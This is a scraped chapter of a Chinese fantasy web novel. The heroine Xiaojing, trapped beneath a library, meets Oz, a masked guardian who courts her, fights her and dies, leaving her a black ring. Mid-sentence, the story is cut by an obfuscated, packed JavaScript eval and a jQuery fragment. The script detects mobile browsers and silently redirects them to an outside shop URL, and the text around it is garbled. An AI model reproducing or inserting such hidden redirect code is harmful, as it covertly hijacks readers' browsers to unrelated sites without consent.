文趣网 > 其他小说 > RST-01 > 47. 带我与你同行
    随着图书馆地下室的通道慢慢打开,图书馆四周的灰尘都被震飞了下来。那些沉积了不知多少年的灰,像被一声闷雷从书页间惊醒,纷纷扬扬地洒下来,在昏黄的光里打着旋。整座图书馆像活了过来,每一个角落都在低低地咳嗽。

    潇静看了看深不见底的黑色通道,心里不由自主地感到了害怕。那黑暗浓得像化不开的墨,连光都照不进去。她说:“做好准备,我们可能会有危险发生。遇见灵异的千万不要害怕,相信这是幻想。”

    她的声音很轻,像在给自己壮胆,也说给身后的人听。

    萨麦尔把锤子往肩上一扛,说:“灵异?我最不怕的就是灵异了。以前在汐斯塔,我一个人半夜去坟场吃宵夜。”

    阿丽娜瞥了她一眼:“那是因为你被别人当成灵异了。”

    “喂,你什么意思?”萨麦尔跳了起来。

    “意思是你比鬼还可怕。”阿丽娜说。

    若心没忍住,轻轻笑了一声。赫默也捂着嘴,小肩膀一抖一抖的。

    潇静也笑了。可那笑很快被脚下台阶传来的回音吞掉了。五个人慢慢从台阶上面走下去。每踏下一步,来自最深处的回音都能刺入骨髓。那声音像是从地心传上来的,又空又长,带着水汽和铁锈的味道,直往人的骨头缝里钻。

    每往下走一层,楼梯旁边的墙壁上就会发出隐隐约约的蓝光。那光极淡,像有无数细小的虫子趴在墙里发光,照亮了上面斑驳的壁画。壁画上的人形模糊不清,有的在跪拜,有的在伸手,有的像在尖叫。

    终于走到了最下面。映入眼前的,就是一段深不见底的隧道。四面的火把全部亮了起来。那些火把不知被谁点燃了,又或者它们一直都在烧着,烧了几百年,还在等下一批来客。

    火光照在墙壁上的各种浮雕上,都历历在目。那些雕工极细,像有人用几代人的时间,在这地底刻下了一整部无人知晓的历史。

    潇静说:“这个地方好诡异呀,大家小心一点。”

    萨麦尔摸了一下墙壁,心里貌似感应到了什么,说:“这副墙壁的雕刻是如此古老,应该是上千年之前的古碉了。这么多人都在围绕着一个神明在祈祷,属实难言。”

    她的手指沿着那些浮雕的纹路慢慢滑过。那石头很冷,冷得不像只是被地底的寒气浸过,像有什么东西从里面往外在吸热。

    阿丽娜说:“这个地方的四周,我身体里感受到的元技,在地面上的特别奇怪。仿佛是个特殊的空间被挤压着。”

    她说得没错。空气很沉,像被谁压缩过。每吸一口,都像在吞一块看不见的铅。

    潇静说:“我们继续向前面去看吧!”

    五个人走着走着。脚步声在隧道里被无限拉长,像有另一支队伍,在看不见的地方跟着她们走。

    若心说:“在我对图书馆的了解,最多只限于它的外观。没想到这个图书馆下面居然有这么大一个地方。”

    萨麦尔说:“我曾经在汐斯塔最喜欢看小说了。每次在看那种悬疑类的小说,人们走密道的时候,总会发生一点奇怪的事情。估计这次不要轮到我们吧。”

    她的声音在隧道里飘来飘去,像在给自己找点热闹。

    阿丽娜突然听见了一声尖叫。她猛地回头,潇静没有了。

    方才潇静站着的地方,只剩下一块翻开的石板。那石板还在微微晃动,像一张刚刚合上的嘴。

    萨麦尔惊恐地说:“不是吧,给我玩真的?我这人可不经吓呀!”

    阿丽娜已经冲了过去。她蹲下,用手去推那块石板,可石板纹丝不动,像和整条隧道长在了一起。

    “潇静!潇静!”她大声喊。

    声音在隧道里撞来撞去,可除了回声,什么回应都没有。

    萨麦尔咬着牙,一锤砸在石板上。火星四溅,可那石板连条缝都没裂开。她的手臂被震得发麻,眼里冒出火来:“见鬼!这破石头!”

    赫默说:“我感应到她了。她在我们的下面。我可以跟她隔空确认一下。”

    她闭上眼睛,小小的身子绷得紧紧的。

    此时,十分焦急的潇静正在下面,对着头顶的石板大喊:“阿丽娜!萨麦尔!赫默!若心!你们听得见吗?”

    然后,她在脑海里面听见了赫默的声音:“潇静姐姐,没事的。我们在你上面。你四处去看看,能不能走出去?”

    那声音像一条极细的线,从黑暗里伸过来,轻轻碰了一下她的心。

    潇静说:“赫默,我去看看吧。你们一定要保护好自己。”

    她深吸一口气,转身看向前方。这里的隧道更窄,两侧的墙壁上长满了发黑的苔藓,像一层腐烂的皮肤。空气里有股极重的、说不出的味道,像陈年的血和某种药水混在一起。

    潇静一个人慢慢地往前走。每走一步,四周都回荡着一个声音:“你终于来了。我已等你许久了。”

    那声音从四面同时传来,分不清方向。像有无数个人贴着她的耳朵在说话。

    潇静说:“这个地方越来越诡异了。怎么办?好害怕,好害怕。”

    她感到自己的心跳快得厉害,像一只被关在胸腔里的小动物,拼了命地想往外跑。

    潇静想到:这个地方太黑了。万一有了光,那样感觉会不会变得不一样?

    “元技,燃火。”

    她的长剑上面燃起火焰。在光明点亮这里的一刹那,突然,一个带着羊骨头面具的人出现在她面前。

    那面具惨白惨白的,两只弯弯的角向两边伸开,眼窝处是空的,黑得像两个洞。它几乎贴着她的脸。她甚至能闻到那面具上的味道,陈旧的、带着某种说不清的腥。

    潇静吓得一哆嗦,又倒在了地上。剑上的火焰又熄灭了。四周重新跌入黑暗。耳边又回荡起一句话:“不要妄图在此照亮光明,等待着你的唯有黑暗。”

    潇静慢慢爬了起来,声音在发抖:“你到底是什么人?要战斗就光明正大地战斗。我……我害怕。”

    黑暗中的一个声音回答道:“不是我不敢直视你,而是你不敢直视我。”

    潇静感觉后面有一道风刮过去。她猛地转过头,却发现什么也没有。再转回身,又突然看到了那个恐怖的羊骨头。它就在她面前,近得她能看见面具上每一道细小的裂纹。

    潇静吓得立刻蹲了下来,把头给捂住,抽泣地说:“不要,这样太可怕了!我要被你给吓死了!谁来救救我?”

    她的声音里带着哭腔,像一只被逼到墙角的小猫。

    黑暗中的那个声音忽然顿了一下,然后说:“额,这么一点就被吓哭了?我是不是做得太过分了?算了,去道个歉吧。”

    四周的火把全部又亮了起来。整个场地一下子被照亮。暖黄的火光从四面八方涌来,把那诡异的黑暗暂时挤走了。

    潇静缓缓从指缝中透过去观察。没有那个恐怖的东西了。她慢慢地站起来,腿还有一点软。

    可刚转过身,她又看见了那恐怖的羊骨头。她吓得拔出了剑,闭着眼,挥了一剑。

    “啪。”

    羊骨头的面具被砍断掉了。两半面具旋转着飞出去,落在石板地上,发出清脆的响声。

    随着面具的掉落,潇静慢慢睁开了眼睛。

    面具下面,是一张极好看的脸。

    他看起来二十出头的年纪,黑发微乱,皮肤在火光里透着一种极淡的暖色。眉很浓,眼很深。那双眼睛正看着她,有一点无辜,又有一点想笑。

    潇静顿时脸红了,说:“长得还挺帅。但你为什么要吓我呀?”

    帅哥说道:“好吧,本来想逗你玩玩的。没想到你上来就这么猛。你的元技这么强,感觉好痛。不过话回到正题上,你可以叫我奥兹。”

    他说着,揉了揉自己的脸。那上面还有一道极浅的红痕,是被她剑风带出来的。

    潇静气鼓鼓地说:“那好,奥兹,你为什么要吓我?如果你想跟我战斗,我现在就可以。但在这个地方出现一个陌生人,肯定不是好人。”

    奥兹说:“为什么你就会认为我是个坏人?我什么事情也没有干。”

    潇静说:“还说你什么都没有干,你刚刚把我给吓得我都快哭了!”

    奥兹看着她。她的眼角确实还红着,像一只刚被欺负过的兔子。他忽然有点过意不去了。

    “对不起。”他说,“我以为是那些追我的人。我不是想吓你的。”

    他的语气认真了很多,像在跟一个小妹妹道歉。

    潇静别过头,哼了一声:“算了。你说你被谁追?”

    奥兹说:“说来话长。我也是个迷路的人。我在你们之前来到图书馆,无意地触发了机关,掉到了地下,就被困在了里面。”

    他顿了顿,又说:“我以为是来抓我的警察呢,想把他们给吓跑。以为这个地方有鬼。”

    潇静说:“说起有鬼,我感觉你更像鬼。这么一个地方,你是怎么进来的?”

    奥兹说:“我也不知道。我就翻个窗偷偷爬进来的。没想到走着走着,突然地上的石板开了,我就掉了下来。然后我就向前摸索着。”

    潇静说:“好像也跟我的遭遇一样。那我就暂且信任你吧。但是,你不要再装鬼吓我了。”

    奥兹说:“好,不吓了。谁叫你胆子和你的元技成反比呢。”

    “你!”潇静又想拔剑。

    “开玩笑的。”奥兹连忙抬手。

    潇静说:“既然我们俩都坦白了,那么,该如何走出去?”

    奥兹说:“我来这里的目的不只有走出去,还有更重要的事情。劝你之后看到的,不要传出去。否则,否则,否……额,额,我也不知道该怎么办。反正你传出去就很危险。”

    他学着她的语气说话,说到一半自己先绷不住笑了。

    奥兹脸色却慢慢沉了下来,淡淡地说了一个字:“哦。”

    潇静说:“那我们继续向前走吧。反正原地不动也是死路一条。”

    奥兹说:“前面还挺危险的。要不我在前面,你殿后怎么样。”

    潇静心想:这也好。万一前面有什么危险,我就让他来解决。

    潇静说:“那行。你在前面,我在后面。”

    奥兹的嘴角微微上扬着:“走吧。再不走的话,黑暗就会降临了。”

    两个人一边走着,一边说着。

    隧道很静。两个人的脚步声像在合奏。一个重,一个轻。一个稳,一个乱。

    潇静说:“我总感觉你有一些可疑。但我又找不出可疑的地方在哪里。”

    奥兹说:“世上但凡是个人,心里总会埋藏着一些秘密。在你没有告诉他你的秘密前,你在揣测任何人的时候,都有可能感觉可疑。就好比你心里一直在挂念着一个人。”

    潇静一下子被惊到了,说:“你是怎么知道我心里的事情?”

    奥兹说:“有些事情,从你的神情动作上面就可以看出来。你心里总想着一个人。但肯定不是我。”

    潇静说:“你?这个我得考虑考虑。虽然你长得还挺帅的,但我总感觉有些不对劲的地方。”

    奥兹转过头,在火光里冲她笑了一下:“原来你在考虑我啊?我还挺荣幸的。”

    “不是那个意思!”潇静连忙说,耳朵尖都红了。

    “那是哪个意思?”奥兹问。

    “就是……让你别太自信的意思。”

    “哦。”

    “你别‘哦’得那么不情愿。”

    “我没有不情愿,我情愿得很。”

    两个人就这样你一句我一句地走着。潇静自己都没发现,她好像没那么怕了。这地底的黑暗,似乎因为身旁多了一个会说话的人,变得没那么重了。

    他们走着走着。奥兹每次走到拐角,都会顺手拨一下墙壁。他的手在墙上停一下,又收回来,像在确认什么。他们走了好几圈,每次都能回到起点。

    潇静说:“这个地方好古怪呀。为什么我们一直在绕圈子?”

    奥兹说:“怎么办?我们难道要被困在这里了?”

    他的声音里多了一丝潇静听不出来的东西。像在犹豫,又像在等。

    就在此时,图书馆的地面开始震动。潇静这边的墙壁上,一道道符文开始出现。那些符文像从石头深处渗出来的,一个接一个亮起,逐渐组成了一个虚空的轮廓。一扇由黑暗组成的门,慢慢打了开来。

    奥兹的手有点颤抖。他低声道:“难道除了她,还有其他人。”

    潇静没听清,问:“你说什么?”

    奥兹随口说了一句:“一个人负重前行,会不会有点孤单?你应该不是一个人来的吧?”

    潇静说:“那肯定。我和他们一同战斗到现在了。来到这里,就为了寻找一样东西。”

    她看着那扇门,眼里映出那些符文的微光。像被什么吸引了,她迈开了步子。

    潇静说:“你看前面的门开了。我先进去了。”

    奥兹一想不对劲,拉住了潇静的手。潇静回过头,脸红地看着奥兹。

    他的手很凉,像这地底的石壁。可抓得却很紧,紧得她一时忘了甩开。

    奥兹单膝跪地,说:“潇,潇静。其实我第一眼看到你,我就喜欢上了你。我带你出去吧。”

    他的声音很轻,可在这条只有火把作证的隧道里,每一个字都像被放大了无数倍。

    潇静顿时大脑里面一片空白,支支吾吾地说:“这,这么……快。我都没有点反应过来。”

    奥兹说:“我觉得前面太危险了。我们一起走吧。我们可以到第三城区,找一个好的地方安居乐业。”

    潇静说:“好啊,你想当我的男朋友是吧?那你就先追上我吧。”

    她忽然笑了一下,转身跑向了大门。那笑里有几分慌乱,也有几分她自己都没察觉的期待。

    奥兹说:“潇静,不要妄图回想过去。相信我,跟我走。我一定会带你出去的。”

    潇静已经跑到了门前。她的左脚刚刚踏进去,身后的空气忽然一沉。

    奥兹说:“又要杀掉一个人了吗?难道这就是赎罪吗?”

    潇静突然被一股强大的力量给拽了回来,狠狠地砸在了墙上。背部撞在石壁上,像被一只巨手拍了一下。她捂着肚子,嘴角流了一点鲜血。她抬头,看着一个戴着羊骨头面具、手上握着斧头的人,慢慢地走了过来。

    那斧头拖在地上,划出一长串火星,像给这条隧道拉了一道口子。

    潇静说:“其实我早就看出了你的破绽。因为你根本就不应该在这里。因为解开那个机关,必须要五个人。可是最后,你终于暴露了。门后藏着你不想让我看到的东西。”

    奥兹说:“既然已经暴露了,我就不想再演下去了。我是赦罪者,让你赎清罪恶。”

    他的声音变了。不再有刚才的温度,冷得像是从另一张嘴里发出来的。

    奥兹转身,一个斧头砍在了潇静的身边。斧刃嵌进石壁,碎石像雨一样溅在她身上。

    “我再给你最后一次机会。现在跟我一起走。我保证,你不会有事的。”他说。

    潇静说:“为什么我就偏要相信你?你都说了,你是赦罪者,你都想杀掉我。我们都有着不同的职责和希望,那就与我战斗吧。”

    潇静捂着胸口站了起来。手上的火焰凝聚成黑色的长剑。那剑身几乎不反光,像用一片凝固的夜打成的。

    奥兹说:“潇静,这是你选择的道路。我尊重你。”

    话音刚落,奥兹转身,一个斧头砍在了潇静的长剑上。巨大的力场

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880832|212449||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    像一堵墙压过来。潇静被震飞了好几米远,身体在石地上滚了两圈,才用剑把自己撑住。

    刚刚用长剑支撑自己起来,又是天降的一斧头。潇静只能不停地躲避。那斧头每一次落下来,都像要把整条隧道劈成两半。碎石、火星、风压,像一张网向她罩来。

    奥兹边砍边说:“快点醒悟吧,潇静!为什么你会走上这条道路?我不想杀了你。但身为古老的誓言,我必须这么做。”

    潇静说:“我看清楚了世间的压迫,而我自己却有着奴隶的血脉。为什么奴隶就不能像正常人一样生活着?我要带领着他们,去砍下撒旦的头颅!”

    她的声音从刀光与斧影之间挤出来,像一团不肯熄灭的火。

    潇静将火焰凝聚于刀剑之上:“元技,灭斩。”

    火光冲天。整个场地被大火给席卷了一遍。火舌像无数条挣脱了锁链的龙,在隧道里横冲直撞。连石壁都被舔得发红。

    奥兹的面具又被砍破了。两半面具掉在地上,打着旋。他摸了摸自己的脸,叹了口气:“去买一个这样的面具,可是很贵的。唉,下次怎样才能伪装成凡人。”

    他站在火里,像那火根本近不了他的身。

    潇静说:“古老的守则,万一错了呢?你就没有想过吗?”

    奥兹说:“一旦我放你进去,在我身上的古老元技就会发作,我就会化成灰烬。所以最好的方法,就是你离开这里。”

    潇静说:“那我们今天就得在这里决一生死了。刚才的表白我还历历在目。我真希望那是真的。但是我们的意愿不同。希望来世,你还能遇到我吧。”

    她说这话时,心里像有什么东西被狠狠揪了一下。她分不清那是痛,还是别的什么。

    刀和斧强烈地碰撞在一起。四周的地面慢慢被震得粉碎。两股力量在隧道里对撞,把整条地底都摇得轰隆作响。

    奥兹很明显站在上风。他的斧头像一座移动的山,压得潇静几乎喘不过气。又是几记重击,将她逼得步步后退。她的小腿在打颤,手臂上全是血痕。

    奥兹说:“刚才那一击我没有杀了你。你快走吧。我不想眼睁睁地看着你死。”

    潇静慢慢爬了起来。衣服上已经被鲜血浸透了。她的呼吸又急又浅,像在风箱里抽气。

    潇静说:“不行。这片大地上还有很多苦难的人们。我不能就此放弃。”

    奥兹说:“想必外面的世界已经变了大样。当我最初诞生的时候,那是元技最初被使用的时候。人们为了抢夺四处杀戮,而最强的那个人,永远地坐在了王座上面。”

    “而我,与他曾经并肩作战的勇士,成为了第一个护卫。虽然手上也不知道流过多少人的鲜血。但这个图书馆里,是他最不可告人的秘密。所以之后,才有了七神使。”

    “而如今,我的力量已经磨损。在之前,这个地方早已化成废墟的战场。”

    他的声音像从很远的地方传来,带着几百年积下来的灰。

    潇静说:“既然你身为他的第一个护卫,看见他如此暴行,你为什么不上前阻止,而是眼睁睁地帮他?”

    奥兹说:“世界便是如此。强的人自然强。力量永在于你之上。我把他杀了,就会有第二个王。永远没有止境。”

    潇静哭了起来。她缓缓地站直,拿着剑向奥兹砍去。她的步伐已经乱了,像一个在黑暗里跑了太久的人。

    潇静说:“难道那些被践踏的生命,就不能被珍惜吗?他们活着,难道就毫无意义吗?”

    奥兹沉默了。他徒手接下了潇静的长剑。金属在他的掌间发出刺耳的声响,然后,他用力一握。长剑被掰成了碎片。

    碎片落在地上,像几颗死去的星。

    潇静看着手上的剑柄,向奥兹扔去。剑柄在空中划了一道无力的弧线,被他随手接住。

    奥兹又扔给了潇静,说:“这就是你的力量吗?就凭这种力量,你怎么样才能杀了他?我不是说你没有意志,而是本就悬殊。做了也是无用功。你能活到现在,想必也有不同于凡人的地方吧。我认可你,潇静。”

    潇静哭着跪倒在了地上。她用那只满是伤口的手砸向地面,一下,两下,像要把这个不肯给她答案的世界敲碎。

    “为什么?为什么会这样?难道我真的……”

    奥兹说:“我的实力本就在七神使之上。你打不过我也很正常。但你有真的为了他们而拼搏吗?”

    他没有上前。他只是站在那里,像一尊从千年前留下来的、还没倒下的石像。

    潇静的身边开始有焚烧的味道出现。很淡,像有什么东西正在空气里变质。慢慢的,周围出现了黑色的火焰。那火焰没有温度,却让整条隧道的空气都开始扭曲。

    潇静身上的伤口以肉眼可见的速度恢复。那些血痕像被时间倒着擦去。

    潇静慢慢站了起来。仿佛变了一个人。手上凭空出现了一把不透光的长剑,燃烧着黑色的火焰。她的眼睛直视着奥兹。那目光冷得不像她的。

    奥兹看着她说:“终于让我看到你的真相。潇静,你有做王的潜力。”

    他看着潇静的眼睛,从黑色变成暗红,到最后的血红色。像有什么沉睡了极久的东西,终于在她体内睁开了眼。

    潇静握着长剑,随手劈出了一道气浪。地面被气浪刮出了一道深痕。整条隧道像被劈开了一条黑色的口子。

    四周的气温在慢慢升高。能明显看见,光线透过来产生了严重的曲折。连火把的火焰都朝着她的方向倾斜,像在向一位新生的王行礼。

    潇静说:“元技,暗黑的天幕。”

    她转身一剑劈了过来。那一剑没有任何花哨,只有纯粹到极点的、让人连躲的念头都生不出来的毁灭。

    奥兹用尽全力抵挡。那把跟了他战斗一生的斧头,上面居然出现了刀痕。他整个人被这一剑推得向后滑去,双脚在石地上犁出两道深沟。

    可他却笑了。

    “我已经见证过了。撒旦,我的老友。当年你在战场上也是如此。我找到了你的继承人。”

    他慢慢放下了斧头,像放下了这许多年来一直扛着的东西。

    潇静没有停。她的长剑贯穿了他的身体。剑尖从他背后透出,黑火在他身上蔓延开来。

    时间像在这一刻停了一下。

    潇静眼里的红色慢慢褪去。她的意识像从极深的水底浮上来。然后,她看见了自己手里的剑,和剑那边的人。

    她一把抱住奥兹。剑还插在他身上。她不知道怎么拔,她也不敢拔。她只能抱着他,像抱住一个正在碎掉的梦。

    “你为什么不防守?你为什么?”她的声音像被撕破了。

    奥兹摸着潇静的脸庞。他的手已经没什么力气了,像一片落在她脸上的枯叶。

    “我已经明白了。我找到了我的目标。我觉得你可以代替我看到这个真相。那是我用多少人都无法偿还的罪恶。谢谢你,潇静。带上我的意志,杀……了,撒旦。”

    他的声音越来越小。最后几个字,像从唇间漏出的气。

    手从潇静的脸上慢慢滑落。身体慢慢化成了灰烬。那灰被不知从何而来的风吹散,像无数片黑色的雪。最后消失殆尽,只留下了一颗黑得发光的戒指。

    那戒指躺在地上,安安静静的,像已经等了她很久。

    潇静看着自己的手,痛苦地看着自己,低声说着:“奥兹,我明白了你的用意。我会带上你的意志,去完成最后的目标。”

    潇静捡起了那颗黑色的戒指,戴在了自己的食指上。戒指很凉,可戴上去之后,却像有极细的暖意从指根蔓延上来。

    在踏进门的最后一刹那,她回头看了最后一眼。

    “我的生命终于有一个归宿了。一日梦常如千年,短如一霎。”